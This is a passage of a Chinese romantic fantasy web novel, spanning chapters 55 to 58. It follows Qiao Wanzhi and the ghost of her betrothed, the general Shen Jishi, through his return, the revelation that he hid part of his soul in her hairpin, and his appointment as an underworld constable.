桥妧枝顺着她指的方向看了看,问:“他喜欢看这些书?” “他生前是个书生,很有才学。” 窈娘眼中露出一抹哀伤,“十年前,正值春闱,可没想到东胡人打进了长安,朝廷逃到了蜀州,科举也没了。他寒窗苦读数十年,到头来却没办法考试,只好上街卖字画为生。” 她低头将泪珠抹去,吸了吸鼻子道:“那个时候,百姓艰难,字画根本卖不出去,他赚不到钱便只能去做帮工,没想到第二年开春时染了重病,病死在这个破旧的土地庙里。” 说到底,那十年,有这般遭遇的又何止他一人。 桥妧枝压下眼底酸涩,低声问:“他为什么没有去投胎?” “谁知道呢,兴许是不想吧。” 窈娘飞快整理好情绪,轻哼一声,“他若是早点去投胎,再等几年,说不定都能高中状元了。我可没有骗你,他真的很有才学。” 好似察觉到窈娘的目光,鬼书生似有所感地回头,冲她笑了笑。 窈娘神色一顿,苍白的脸上闪过一丝不自然。 她本能地想躲去少女身后,可余光瞄到她头上闪烁了一瞬的绒花,又悻悻缩回了僵硬的身子。 都怪破绒花,她都不敢近女郎的身。 桥妧枝离开前将土地庙好好打扫了一番,对窈娘道:“我这次烧了很多,清明便不来了。” 窈娘眨了眨眼,遗憾道:“不来了吗?当真不来了吗?清明那日鬼市可热闹了,还想带你去看看呢。” “不来了,清明那日,我要去接人。” “接谁啊?”窈娘好奇,“是沈小将军要回来了吗?” 桥妧枝摇头,眼中闪过一丝笑意,“我不知道他什么时候回来,但是窈娘,浮屠峪中那八万将士的遗骸要回长安了。” 昏君之死不足以平民愤,三月初,桥丞相上奏,欲将沈家军将士遗骸送回长安,奏折送上去的第二日,帝王准奏。 于是长安至冀州遥遥千里,重山叠嶂间,多了一条回家的路。 昭宁元年的第一场雨,降落在清明时节的清晨。 天还未亮,雨水透过半开的木窗打进屋内,氲透了桌案上没有写完的信,墨汁晕开,将上面的字迹弄得模糊不清。 桥妧枝是被屋檐下悬挂的玉片风铃吵醒的,一睁眼,水汽扑面而来,她越过木窗伸手去接,掌心很快便蓄了一洼水。 原来是下雨了,一场可以濯去世间浮尘的春雨,悄然降临在昭宁元年的清明。 她身穿单衣走到庭院中,衣衫很快便被涿透,可她没有理,立在合欢树下,小心翼翼去翻地上的泥土。 埋着酒酿的那块土壤开始变得松软潮湿,最晚清明一过,就必须要将它挖出来。 其实早就应该挖出来了,是她想再等一等沈寄时,所以一拖再拖。 那就再等一日吧,柔顺的发丝紧紧贴在脸上,有些痒,她一边用手蹭一边想,今日过后,他若是还没回来,她就将酒酿挖出来,自己喝。 这场雨一直没有停,一直到巳时,雨势隐有渐大的趋势。 好想要将积攒了一年的雨水一股脑放到今日,长安百姓喜不自胜,可当他们看到城门前悬挂的白幡,喜悦中又多了几分不可名状的苦涩。 清明时节,风雨如晦。 长安城门大开,被雨打湿的白幡变得沉重,却依旧能被风扬起,巨大的棺椁装载着八万将士仅剩的遗骸回到长安。 百姓林立在街巷两侧,不知何时,春雨中夹杂了断断续续的呜咽声,直到后来,呜咽声越来越大,渐渐席卷了整个长安。 桥妧枝撑着竹伞跟在棺椁后,恍惚间,好像回到了沈寄时躺在棺椁里被带回长安那一日。 只是那时,那场雨比今日要大的多,大到淋湿了她整颗心。 雨水串成珠帘顺着竹伞流下,眼前景象忽然变得模糊。 淡色裙摆被雨水打湿,行走间沾染了长街上的泥尘,她却无暇顾及,只撑伞跟着百姓向前走。 “桥脉脉。” 忽有熟悉的声音穿过雨幕传至耳畔,桥妧枝脚步微顿,没有抬头。 “桥脉脉。” 声音再次传来,这一次,语气中多了几分无奈。 伞面轻晃,缓缓向上抬起,露出少女那双湿润又明亮的圆眸。 她猛地睁大双眸,透过重重雨幕,看到熟悉的少年抱臂立在街角,剑眉轻挑,神采飞扬。 那张一向桀骜不驯的脸多了几分沉稳,可看着她的目光,一如当年。 “桥脉脉,今日雨真大啊。” 他轻声说:“你能与我共伞吗?” 【作者有话说】 正文完 假的!!! 这是构思时想好的正文完,但是我更想正文甜了再完 56 第56章 ◎我不要你的魂◎ 四月天,一场春雨断断续续下了数日,乌云翻滚,天色晦暗,一开窗便是扑面而来的潮湿气。 寒风夹着细雨争先恐后钻进屋内,屋檐下风铃响个不停,格外扰人清梦。 一只手从薄被中伸出,轻轻扣住少女后脑,将她往被褥中塞了塞。 温暖席卷全身,桥妧枝本能地蹭了蹭软枕,很快又陷入了沉睡。 沈寄时回来的第二日,那坛梅花酿终于从泥土中挖出,开坛瞬间,满室梅香。 也不知道是不是在地下埋了太久的原因,今年的梅花酿格外烈,她一喝完,便觉头脑昏沉,断断续续睡了三日。 床前帷幔被掀开,沈寄时走到窗边将玉片风铃摘下。 庭院中的合欢树在雨水的冲刷下更显枝繁叶茂,风一吹,树冠轻摇,显得生机勃勃。 他在窗前吹了许久的风,从清晨等到快要晌午,床榻上的人依旧没有要醒的意思。 沈寄时无奈,转身将人从帐内抱出,放到了梳妆台前。 雨落屋檐的哒哒声传入耳中,桥妧枝勉强睁开一只眼,将额头抵在他腰间,低声道:“我还想再睡一会儿。” “今日要赴约,卿卿若是再睡一会儿,刚入锅的黄米饭都闷熟了。” 指腹在她下巴上轻轻摩挲,沈寄时挑眉,半开玩笑道:“桥脉脉,你怎么跟以前一样喜欢赖床?” 桥妧枝冷哼一声,没有理他。 睡意去了大半,她打起精神为自己绾发。 沈寄时微微眯眼,伸手拨弄了一下妆匣里的珠翠,问:“卿卿今日戴哪个?” “还是那只绒花。” 指尖微顿,他道:“那只绒花不在妆匣。” 桥妧枝狐疑低头,在妆匣中翻找许久,蹙眉道:“我的绒花去哪里了?” 她起身,快步走到床榻前,开始在软枕被褥下翻找。 “若是找不到,卿卿可以换一只。” 桥妧枝摇头:“就算换一只,这只也要找到的。” 沈寄时看她神色焦急,轻叹一声,在她看不到的地方缓缓抚上自己胸膛。 桌案角落微微闪烁一抹银光,他走上前将绒花攥在手心,“卿卿,找到了。” 正在翻箱倒柜的人回头,看到他掌心那抹鹅黄,心下一松,拿起来小心翼翼簪在自己头上。 纤细的指尖划过绒花绽开的花瓣,仿佛抚过藏在里面那一缕残魂。 铜镜中映出一张美人面,一眼看去,与之前那个青涩少女已大不相同,可细细看来,依稀还能看到小时的轮廓。 沈寄时立在她身后,看着铜镜里的少女,轻轻扬了扬唇。 斗转星移,世事变迁,他们都在变,但好在他可以一直看着她,从当初年少到日后苍老。 她转身,凑近给他看,“好看吗?” “当然好看。” 细雨如烟,朱雀大街行人稀疏。 桥妧枝未撑伞,与一只鬼魅在雨雾之中并肩而行,衣衫相贴,密不可分。 可旁人看不到她身侧的鬼魅,于世人而言,她始终孤身一人。 李御立在高台上,垂眸看了好一会儿,方才出声:“桥姑娘。” 桥妧枝听到声音,仰头看去,对上了李御略带笑意的视线。 上次见时,他还是十二皇子,如今再见,他已是高台上的君王。 她张口,想要行礼,却见高台上的人微微摇头,道:“女郎,李御已在此处等了许久,快上来吧。” 接连数日降雨,酒楼中客人不多,桥妧枝顺着木梯向上走,推开了最里面的厢房门。 门一开,迎面飞来一坛酒,她尚还来不及闪躲,酒坛便被沈寄时牢牢抓在手中。 “发什么疯?” 沈寄时抬起眼皮,神色微冷。 李御也不生气,“就知道你会接住。” 他举起另一坛酒,道:“今日没有带好酒,随手拿的竹叶青,我们在蜀州时最常喝的酒。” “我们在蜀州最常喝得,不是青城山上的雪水?” 他嗤笑一声,随手一丢,酒壶正好稳稳落在桌上。 李御开坛,仰头灌了一口,递给他,沈寄时没接,道:“你洒地上,兴许我还能喝到。” 于是上好的竹叶青便洒在了地上,他问:“沈危止,喝到了吗?” 沈寄时懒懒扫了他一眼,抬筷夹起酥点放到桥妧枝碗中。 李御大笑许久,将酒一饮而尽,方才笑意渐消,正色问:“如今他们入轮回了吗?” “入了。” 沈寄时指腹在酒杯上轻轻摩挲,“罪己诏一出,沈家军便被放出枉死城,黄泉百年,我看着他们一个个入了轮回方才回来。” “入了就好。” 李御语气一松,为自己倒了一杯酒,问:“那你如今有什么打算?大梁人才凋零,你既可在人前现身,若是还想上战场,依旧可以做你的长宁侯。” 他抬眼,郑重道:“沈寄时,天下还没有太平。” “不必了。” 沈寄时语气很淡,“下一个长宁侯会是沈萤,沈寄时已死,如今只是一缕幽魂,上不得战场。” 听他拒绝,桥妧枝心下一松。 李御闻言沉默许久,没有强求,“沈危止,你还记不记得蜀州时,你第一次下山,我曾让你给我带只烧鸡回来?” “自然记得,只是天太冷,带回去时,烧鸡都凉了。李副将那只鸡架在火堆上烤,不成想还烤糊了,。” 李御却道:“那是我此生,吃过最好吃的烧鸡。” 他七岁丧母,备受宫人苛责,东胡之乱被遗忘险些丧命,好不容易逃到蜀州,他立志不再受人宰割,于是毅然决然进军营博军功,与将士同吃同睡。 在那之前,他其实没有吃过烧鸡,第一次动了吃的心思,还是偶然一次听李副将说起山下烧鸡很好吃。 彼时尚年少,不受宠的皇子与沈寄时并不相熟,听他要下山亦是随口提了一句,却没想到他真会带回来。 如今的大梁皇帝不会将一只烧鸡记很久,但是少年李御会。 他与沈寄时,沈寄时与桥妧枝,恰好相逢在一段谁都代替不了的时光里。 烈酒上了一坛又一坛,饭菜吃得差不多了,对坐的两人还在喝酒,桥妧枝百无聊赖,凑到窗边看雨。 高台之下,车水马龙,挂在屋檐下的灯笼一晃,照出朦胧细雨。 她将下颚抵在掌心,酒意来袭,忽然觉得有些困倦。手腕无意识下滑,眼看额头就要磕在窗柩,一只手突然垫在她额头。 沈寄时垂眸,眼中划过一丝无奈,暗中盘算,以后再也不让她喝烈酒了,不然一睡不知又是多少日。 大概是察觉到枕上了一片柔软,少女下意识在他掌心蹭了蹭,沈寄时一僵,又想,其实也不是不能再喝几次。 春雨透过窗台打湿了他衣角,沈寄时维持着这个动作一动不动,一直到华灯初上,昏昏欲睡的人终于睁开了眼睛。 外面的雨不知什么时候已经停了,青石板上还有未干的水洼,屋檐下花灯一照,长街便笼罩了一片朦胧光晕。 桥妧枝气鼓鼓走在前面,小声抱怨:“你怎么不喊我啊。” 沈寄时跟在她身后,一脸莫名,“喊你做什么?” 还能做什么,当着旁人的面睡着,简直要丢死人了! 越想越气,她加快脚步,不管不顾往前走。 溅起的水花蹭到衣角,沈寄时盯着那处,忍不住道:“李御喝完酒就走了,那里只有你我,放心吧桥脉脉,除了我,没人看到你睡觉的模样。” 桥妧枝脚步一顿,突然觉得他比以前还要气人。 猛地转身,少女双颊染上绯红,怒气冲冲瞪他,整个人鲜活的好像是春日里的迎春花。 沈寄时悠悠站定,身影在暗夜中显得有些透明,清俊的脸上满是无奈,出声唤:“卿卿。” 心一下便软了,桥妧枝连忙偏头不去看他,生怕自己多看一眼,就莫名奇妙消了气。 见她不语,沈寄时上前扣住她手腕,俯身抵上她额头,问:“卿卿真生气了?” 少女依旧不说话,甚至在他凑近时主动避开,飞快地眨了眨眼。 沈寄时收敛神色,扣住她后颈,凑近亲她,温声道:“卿卿,我错了。” 双唇相贴,香火气缠绕在四周,他身上依旧带着属于鬼魅的寒凉。 桥妧枝长睫颤动,抓在他袖口的手指轻轻收紧。 “沈寄时。” 她声音很轻,但他还是听到了。 呼吸一顿,沈寄时垂眸看她,眼中满是落寞。 桥妧枝果然心软了,她道:“以后若是有外人在,我喝醉了酒,你要及时将我叫醒,不然我会恼。” “知道了,下次一定不会再犯。” 顿了顿,他低声道:“我虽年长卿卿两岁,可有些事,还要卿卿教我。” 教他怎么做一个,对桥脉脉而言,完全合格的夫君。 桥妧枝微微勾唇,终于慢下步子,拉着他冰凉的手掌往回走。 垂眸看着两人相牵在一起的手,沈寄时无声扯了扯唇角。 其实桥脉脉真的很好哄,只是年少时的沈寄时太骄傲。他有太多事需要做,总是不经思考,本能地用战场上的方式粗暴地压下他们之间出现的一切争执。 — 如同桥妧枝一样,年少时的沈寄时也不止一次的听过一句话:沈寄时与桥妧枝并不相配。 最开始,他是从阿娘口中听到的。 “桥家的小姑娘生性稳重又温柔,是个固执的性子,你自小不服管,以后不知道要怎么欺负人家。” 彼时他十分不屑一顾,“我喜欢她又怎么会欺负她,以后只有她欺负我的份。阿娘你别看她表面温柔,实际上生起气来可凶了。” 然后阿娘长眉一挑,拎着他去了演武场,一练就是一整日。 再后来,他是从沈萤口中听到的。 “小桥姐姐整日忧心你的安稳,你却整日东跑西跑不让人省心。” 她摇头,十分不赞同道:“我觉得你应当娶一个像阿娘一样的女将军,小桥姐姐呢,最好嫁给一个才华横溢的书生,就像相国大人那样有才学的最好。” 沈寄时差点气死,如同拎鸡仔一样将沈萤放到树枝上,一边听她害怕得大哭哭一边嘲讽:“没眼光,那些书生有什么好,肩不能提手不能扛,她要是被人欺负了怎么办,书生能为她拼命吗?” 沈萤一边哭一边冷笑:“那你能为小桥姐姐拼命吗?” “我能!” 他毫不犹豫,长枪一扫,语气桀骜:“我能为桥脉脉拼命。” 说完,也不管还在树上大哭的沈萤,他头也不回地去找桥脉脉,迫切证明他们天下第一配。 哪怕时至今日,他依旧觉得他与桥脉脉天下第一配。 只是,也不是没有产生动摇的时候,仅有的一次动摇,是他刚被她召回,他是鬼而她是人,阴阳两隔时。 但也正如她所言,人鬼殊途,但殊途同归。 — 昭宁元年六月,动荡了半年之久的大梁终于滚过泥泞踏上了一条还算安稳的道路。 祸乱四方的山匪悉数被剿灭,六县百姓也终于勉强能够填饱肚子,迎来一场长久的安定。 桥夫人终于不再每日出城施粥,桥大人也终于能从政事堂搬回了桥府。 一连数月的操劳,桥大人较之前苍老了许多,两鬓华发染霜,竟显几分老态。 他说起今年的春闱:“都是些年轻的后生,前三甲更是能力出众,做文章虽比不上张渊,可能力不比我年轻时差,假以时日,定然能够撑起大梁的江山。” 他语气带着几分欣喜,几分喟叹:“新帝铁血手腕,年纪轻轻也能镇得住一帮圆滑的老泥鳅,有中兴之能,说不定要不了多久,还能再现大梁盛世。” “夫人,也不知你我,还能不能看到那一天。” 桥夫人将烩好的汤递给他,“你我看不看的到有什么重要,大梁百姓看得到就好了。” 闻言桥大人便笑了,他点头:“夫人说得对。” 热汤下肚,驱散了多日的疲惫,桥大人突然道:“俗话说一朝天子一朝臣,我年事已高也该退隐了。夫人,脉脉,你们说临安这个地方如何?” 桥妧枝一怔,脑中突然略过她曾在书中看到的临安。 那似乎是一个与长安很不一样的地方,至于哪里不一样,她未曾去过,也不知道。 桥大人:“我觉得不错,山清水秀,人杰地灵,长安虽好,但我们待得时间已经够久了,不如换个地方看看。” “夫君。” 桥夫人道:“我觉得临安很好,等你辞官之后,我们便定居去临安吧。” 桥妧枝低头,莫名开始走神。 “脉脉。” 她看向正在出神的桥妧枝,微微抿唇,道:“你去问问沈寄时,愿不愿意随我们去临安。” 桥妧枝呼吸一滞,猛地握紧手中的玉箸,以为自己听错了。 周遭很静,风声刮过耳畔,她大脑一片空白,缓缓抬头。 桥夫人神色不变,仿佛是在说一件普通的不能再普通的事情:“以后吃饭时,也将他带过来吧。” 桥大人更是没什么反应,甚至抬手夹了一块肉片送入口中。 桥妧枝飞快地眨了眨眼,终于缓慢地回过神来。 “我知道了,阿娘。” 她点头,扒了两口饭,突然尝到一丝淡淡的咸味儿。 当天傍晚,桥妧枝立在桥府大门前,仰头看着卡在牌匾后的八卦镜。 巴掌大的镜子,上面纹路凹凸不平,无论从哪个角度看,都像是一个很普通的镜子。 她将沈寄时推到镜子下,不一会儿,上面就照出了他的脸。 她站在原地看了一会儿,突然问:“你是不是早就知道了?” 他明知故问:“知道什么?” “知道阿娘在镜子里看到过你。” 她语气笃定,道:“不然你为什么一点都不惊讶。” 沈寄时眉间染上一丝笑意,“知道的。” 桥妧枝瞪他:“那你就不怕我阿娘去找道士,让你再死一次?” 人死为鬼,鬼死为聻,聻死为希。 若是再死一次,他就连实体都维持不了了,只会成为天地间一粒带有意识的尘埃。 沈寄时看着她,神情专注:“她知道,我不会伤害你。” 又好气又好笑,桥妧枝神色舒展,道:“沈寄时,你以后再也不用避开他们了,你可以堂堂正正出现在众人面前。” “那岂不是会吓坏了旁人?” 桥妧枝眨了眨眼,道:“那我们去临安,那里谁都不认识我们,你就做沈寄时,既不是沈小将军,也不是长宁侯,就只是沈寄时。” 沈寄时一怔,将她这细细咂摸了许久,终于仰头笑道:“卿卿,那去临安前,我们先去蜀州看看吧,我们在院中栽的那棵树,应当已经长得有孩童手腕一样粗了。” “好啊。” — 六月底,长安又接连下了几场大雨。 阁楼潮湿,天气渐热,桥妧枝有些贪凉,整日抱着冰酪不离手。 也不知是不是临近中元节的缘故,游荡在长安的鬼魅也渐渐多起来,偶有几次她临窗发呆,还能看到迷路的鬼魅在庭院中游荡。 不止院中,那些孤魂野鬼最喜欢阴暗潮湿的地方,雨后桥府连廊尽头,总有一两只孤魂野鬼在那里小憩。 偶有一日,她正坐在秋千上打缨络,一抬头,看到树下不远处站着一个脸色苍白,神色茫然的陌生鬼魅。 是个很年轻的鬼郎君,身上衣衫干净,站在树下有些无措。 兴许是迷路了。 桥妧枝将口中冰酪吞下,迟疑了一瞬,主动开口:“郎君要去何处?” 那个陌生鬼魅惊诧一瞬,对上她的视线,犹豫片刻,从袖中拿出一张字条。 “不知女郎可知道这个地方在何处?” 桥妧枝目光在那张字条停顿一瞬,放下手中打到一半的络子,伸手想要将字条接过。 却不想那鬼郎君神色一变,连连后退两步,与她隔开了一段距离。 桥妧枝微微蹙眉,面露不解。 鬼郎君拱手行礼,将字条打开,低声问:“敢问女郎,西市千味阁怎么走?” “这里是兴宁坊。” 她收回目光,指了指墙外的小巷,“沿着这条小巷一只走,出了兴宁坊往西,再行过两个街角,就能看到千味阁。” 鬼郎君苍白的脸上浮起一抹有些僵硬的笑,告谢之后匆忙离去。 沈寄时回来时率先嗅到陌生鬼魅的气息,他挑眉,看向立在树下发呆的少女,勾唇道:“桥脉脉。” 少女回头,对他道:“沈寄时,我刚刚看到一个迷路的鬼魅。” “他好像很怕我。” 她问:“我身上不曾带符篆,他为何会怕我?仔细想来,我见到的那些鬼魅,好似都距离我很远。” 沈寄时眸光微动,道:“自然是因为卿卿良善。” 她皱眉,“孤魂野鬼明明最怕凶神恶煞之人,我既是良善之人,那他们为何那么怕我?” “因为卿卿攒了许多阴德。” 他扣住她的手向屋内走,“孤魂野鬼怕凶恶之人,但是更怕阴德加身之人,他们自然会不敢靠近你。” 这个理由勉强说得过去,桥妧枝暂且相信了。 这一年七月出头,长安城内再次彻夜燃起明灯,长街上满是未烧完的冥钱,然而就在此时,城外土地庙出了一件小事。 不知从哪里来了一伙孤魂野鬼,看中了土地庙的地界,便动了争抢的心思。 不巧,那日正碰到桥妧枝在给窈娘烧长安城最流行的新胭脂。 漫天余烬下,那几个耀武扬威的孤魂野鬼只看了她一眼,转身就跑。 桥妧枝若有所思,将胭脂悉数都投进铜盆里,淡淡道:“看来沈寄时说得没错。” 窈娘问:“沈小将军说了什么?” 于是她将沈寄时那些话给窈娘重复了一遍。 窈娘刚和书生吵了一架,又险些被一群恶鬼欺负,于是窝在墙角一边听她说一边啪嗒啪嗒掉眼泪,等听完了,眼泪也憋回去了,一脸鄙夷道:“沈小将军心机真深,竟然还能编出这种谎话骗女郎。” 桥妧枝眨眼,从袖子里掏出手帕要给她擦眼泪,“谎话吗,不是因为这个,还能是因为什么?” 窈娘飞快躲开她的触碰,小心接过手帕擦自己的血泪,一边擦一边道:“当然是谎话了,那些恶鬼怕你,是因为你那枚绒花呀,那么重的煞气,孤魂野鬼不怕才怪。” 桥妧枝一怔,突然觉得心跳漏了一拍。 “为什么会有煞气?” 窈娘擦眼泪的手一顿,指了指她头上的绒花,小声道:“女郎头上的绒花,附着一个煞气很重的残魂。” “残魂?” 见她如此反应,窈娘立即明白过来,猛地起身,激动道:“是残魂啊,人有三魂七魄,有人刻意分出一缕残魂藏在这绒花里,孤魂野鬼都近不得女郎身!” 说到激动处,窈娘摇头,“只是残魂一分,魂魄不全,就没办**回了。” 桥妧枝呼吸一轻,声音有些艰涩,“谁的,残魂?” 还能有谁的,能在死后放弃轮回也要分出魂魄护着她的,也只有沈寄时了。 她将绒花摘下握在掌心,深深吸了一口气,一言不发地转身离开。 书生不知何时出现在窈娘身后,语气无奈:“你与她说这些做什么,他既编了谎,就是不想让她知道。” 窈娘没想到这一点,被他一说又觉得失了面子,于是冷哼一声,头也不回地飘走了。 前几日长安刚下了几场大暴雨,庭院中落红满地,桥妧枝回来时,正巧看到沈寄时立在合欢树下出神。 她立在原地看了许久,忽然觉得很难受。 若他去轮回,如今说不定已经降生在富贵人家,不至于以残魂之身,一直困兽守在她身边。 沈寄时察觉到她的气息,回过神来,对上她那双通红的眼睛,眉头狠狠一皱:“谁欺负你了?” 桥妧枝摇了摇头,行至他身边,问:“沈寄时,你有没有什么事情瞒着我?” 树影斑驳,细碎日光落在他身上,将他身影照出几分透明。 他扬眉,笑着反问:“卿卿不信我?” 深吸一口气,桥妧枝鼻尖一酸,猛地撞进他怀里。 猝不及防被撞得一个踉跄,沈寄时闷哼一声,稳住身形,失笑:“桥脉脉,投怀送抱也不是这样的吧,你这一下,差点把我撞得魂飞魄散。” 话音落下,他突感胸前一湿,察觉到那是什么,他嘴角笑意微僵。 “沈寄时,你的人魂呢?” 沈寄时沉默下来,没有出声。 “若不是我知道,你便永远不说了是吗?” 她抬头,通红的眸子满是控诉。 一瞬间,沈寄时不敢看她的眼睛,他偏头,好似默认一般不吭声。 一口气不上不下地堵在胸口,她气急,一把扯过他手掌,不由分说将绒花塞给他,“你收回去,我不要你的残魂!” 57 第57章 ◎酆都鬼差◎ 沈寄时送出的东西,从来没有收回去的道理。哪怕是他的残魂,给了她,哪怕她不要,他也没有动过收回来的念头。 于是那朵绒花被放在桌案上,成了无人问津的小可怜。 他立在不远处,低声道:“我从未想过入轮回,那缕残魂无论是否在你身上,于我而言,并没有什么区别。” 轻纱帐后,少女的身影随着帷幔的晃动若隐若现,久久不肯出声。 沈寄时冰凉的指尖抚上狸奴背上的毛发,道:“卿卿,因缘际会,六道轮回,可真正意义上,每个人却只有一世。” “承平二十八年,我战死之初,曾在黄泉偶然遇见一个即将投胎的郎君,他生前有一心仪的女郎,与之约定来生相许,他们携手踏上奈何桥,可一饮下孟婆汤,前世种种皆成过往。” “卿卿,如今我是沈寄时,那若是入了轮回到了下一世,我又是谁呢?” “或许一跃成为天潢贵胄,又或许成为偏僻之地的孤儿,只是无论是谁,都不会是沈寄时。” 没有记忆的来生,又算什么来生呢? 他叹息道:“我从未想过来世,只觉有此一生便已是极好。” 微风吹动垂在地上的帷幔,轻轻露出少女有些红肿的眼睛。 周遭重归沉寂,沈寄时没有再说下去。 不知过了多久,屋内终于响起了轻浅的脚步声。 桌上绒花被她攥在掌心,桥妧枝敛眸看了许久,还是不甘心道:“沈寄时,你真的不能将它收回去吗?” “这缕人魂如今于我无用,却可以护你平安。桥脉脉,从它附到这株绒花时,它已经是你的了。” 少女指腹在花瓣上轻轻摩挲,下一秒,绒花四周便泛起淡淡银光,仿佛在回应她。 桥妧枝深吸一口气,眼底莹光攒动,语气格外认真:“沈寄时,我会好好保护它。” 沈寄时垂眸,良久,低声道:“那就拜托卿卿了。” 仿佛是为了践行这句话,后几日,她将这只绒花换成了一支模样简单的珠钗簪在发间。 保险起见,她原本想将绒花放在锦盒内束之高阁,可在合上盒子的瞬间,有些犹豫。 束之高阁确实比随身携带安全许多,可她又不愿这缕残魂被关在这一方天地,哪怕它只是一缕没有意识的残魂。 按在花瓣上的指尖微微用力,她突发奇想,对着绒花道:“沈寄时,你当真没有意识吗?” 等了许久,绒花毫无反应,桥妧枝觉得自己庸人自扰,正准备将绒花放进锦盒,可下一瞬,花瓣之上突然泛起淡淡银光。 银光越来越亮,渐渐聚成实体,她看到少年沈寄时立在她面前,俊朗的眉眼带了几分肆意张扬,对她道:“卿卿。” 意识到什么,她猛地站起身,试图伸手去碰,只是指尖刚刚碰到他边缘,银光立即溃散,重新钻进了绒花。 那只是残魂留下的一道幻影。 她怔了许久,突然明白,原来之前她所见到的都不是幻觉,她是真的看到了他。 在她寻不到沈寄时的那些日子里,他一直都在身边。 绒花重新替换了朱钗,她立在铜镜前,突然觉得琳琅珠玉,远不如这只简单的绒花好看。 — 庭院合欢树下,沈寄时正与一个头戴高帽,身着黑衣,腰间带刀的阴差说话。 狸奴围绕在他身边打转,他眸光却偶尔略过窗台,明显有些不耐。 “沈寄时!” 悦耳的声音如清泉潺潺,自屋檐下响起。 他偏头望去,对上身穿鹅黄色轻衫的少女,眉宇渐渐舒展。 桥妧枝看到他身侧立着的阴差,先是皱眉,心中有些不安,可犹豫了一下,还是没有前去打扰。 阴差也知沈寄时耐心告罄,于是匆匆低语几句,身影一淡,很快消失不见。 桥妧枝走到他身前,欣悉的神色故而变得紧绷,有些紧张地问:“那个鬼差是要抓你回去吗?” 鬼魅是要入黄泉的,他一直留在她身边是否算是逆天而为? 那些人……是不是要来抓他了…… 仿佛有什么东西堵塞在胸口,她呼吸都变得有些急促。 脑海中掠过无数种想法,可每一种,他们似乎都难以圆满。 察觉到她的不安,沈寄时正色,解释道:“并非是来抓我,没有人能来抓我,那名鬼差是给我送上任文书的。” 她回神,面露不解:“上任文书?” “人间战乱十数年,黄泉魂魄太多,前不久,数百只恶鬼逃出黄泉,冥界无暇顾及。我生前曾统率八万沈家军,后又将八万将士送入轮回,阴德加身,酆都大帝希望我成为冥界阴差,将逃到人间的鬼魂送回酆都。” 她将这些话消化了很久,讷讷问:“那你应下了吗?” 缓缓抬手,一封文书静静躺在他掌心,“我接下了。” 他道:“做了酆都鬼差,今后便有机会升任鬼将,做了鬼将,哪怕身为聻鬼,也不再受六十甲子限制与无穷无尽的寒苦。” “桥脉脉,其实我说谎了。” 他看着她:“我虽不求来世,却还是不甘心,就只陪你一甲子。” 鼻尖忽然有些酸,忍不住问:“恶鬼难抓,那要多久,你才能升为鬼将?六十年,够吗?” 沈寄时想了想,“不知道,但应当不会比人间升官还要难。” 他既说了,便能做到,于是悬着的心终于松懈下来,她问:“做将军做多了,如今忽然做了鬼差,沈小将军作何感想?” 沈寄时沉思片刻,格外认真道:“感觉尚可。” 桥妧枝突然便笑了,笑着笑着,突然感觉脸颊处有些凉,一只冰凉的手轻轻按在了她眼尾。 沈寄时叹息,“桥脉脉,你怎么又哭了。” 这句话仿佛开了水闸,汹涌的泪珠源源不断往下淌。 “你懂什么。” 她瞪他,“我今日很高兴。” 他静静拂去她脸上泪珠,低声道:“嗯,我知道。” 桥姑娘一高兴便喜欢做善事,一连几日,她碰到过路的游魂,总是主动上前攀问是否需要帮忙。 于是,她常常昨日还在帮迷路的孤魂指路,今日便会代放不下家人的野鬼写家书,明日又可能为萍水相逢的鬼魅烧些度日的祭品。 偶尔碰见些生前死后经历复杂的鬼魅,她还会听一两个故事,随手记在本子上。 她对此乐此不疲,一有时间就整理书稿,就连打到一半的缨络都就此搁置。 中元节前后,百鬼夜行,街上的游魂渐渐多了起来,沈寄时死后的第三个中元节,桥妧枝是在忙碌中渡过的。 沈寄时偶尔会看看她肩膀额头燃烧的三把魂火,意料之中地越烧越旺。 时光飞逝,这一年八月,大梁安定,一切走上正规,唯有东边疆域,时不时还有些小摩擦。 在桥大人坚持不懈之下,昭宁帝终于允了他的辞官奏章,放他解官。 桥夫人喜不自胜,第一时间盘点家中商铺,遣散家中奴仆,收拾东西前往临安。 临行前一夜,桥大人一夜未睡,与桥夫人携手走遍了长安大街小巷,一直到第二日清晨才归家。 商铺的事情还没解决,桥夫人便留桥妧枝在这里处理,自己与桥大人先行一步,坐上了前往临安的马车。 车轮滚过凹凸不平的青石板,缓缓驶出兴宁坊,继而驶过高大的城门。 桥妧枝目送马车远去,转身对沈寄时道:“你回去看过了吗,此去临安,不知要什么时候才能回来。” “家中无人,存放的多是一些旧物,没有什么可带的。先祖牌位都在祠堂中好好放着,以后阿萤回来,府中人气也会多一些。” 提起沈萤,桥妧枝突然想起什么,问道:“中元节阿萤又给你烧了许多衣物,你要不要给她送一封信,她若是能再见你,应当会很开心。” 沈寄时迟疑一瞬,道:“她如今在边疆一切顺利,若是给她传信,她那个性子,说不定会不管不顾地跑回来。” 马车彻底消失在视线中,两人撑伞并肩往回走。 他道:“我在家中留书一封,等她从边疆回来,看到便能知晓。” 桥妧枝忧心:“当真可以吗?” “自然可以,若是她看不到,来年冬日,战事稍歇,我再修书一封,送去安东府。” 桥妧枝催促:“那你快些写,再有几日,我们就要去蜀州了。” “嗯,今日就写。” 交谈声越来越远,街边卖炊饼的货郎看着已经走远的女郎,听着她自言自语,在这酷热的八月,莫名打了个寒战。 58 第58章 ◎年年知为谁生◎ 九月末,丹桂十里飘香。 蜀州青城县内,少女头戴帷帽,立在首饰摊前与货郎讨价还价。 她手中躺着一只雕着月桂纹样的木簪,并不名贵,只是纹样简单好看,十分合她心意。 “最多十钱,不能再多了。” 她摊开手掌,将那支簪子毫无保留地展现出来,“上面的纹路很粗糙,木头也不过是普通的桃木,即便是城内珠翠坊的木簪,再贵也卖不到五十钱。” “夫人说笑,珠翠坊的木簪哪里有这样的纹路,如今正逢月桂飘香,这样纹路的簪子最是难得,可不就贵一些。不过……看夫人真心喜欢,那再便宜一些。” 货郎伸出三根手指,“三十钱,不能再少了。” 女子不为所动,“十五钱,就十五钱。” “郎君,您还是劝劝夫人吧,你们是富贵人家,何必为几钱银子与我一个卖货郎讨价还价。” 货郎转头看向女子身旁撑着伞的郎君,“那就再便宜一些,二十五钱。与十五钱就差十钱,郎君总不能连十钱都要与我纠缠吧。” 执伞的郎君半张脸隐在伞下,轻轻勾唇,低笑道:“承蒙高看,家中银两都是夫人在管,别说是十钱,在下如今身无分文,。” 货郎诧异,上下打量了他几眼,连连摇头。 这郎君看着身型峻拔,是个盖世郎君,不成想内里竟是吃软饭的赘婿。 于是又将目光转向女子,货郎不情不愿道:“夫人若是真心喜欢,二十钱便拿去吧。” 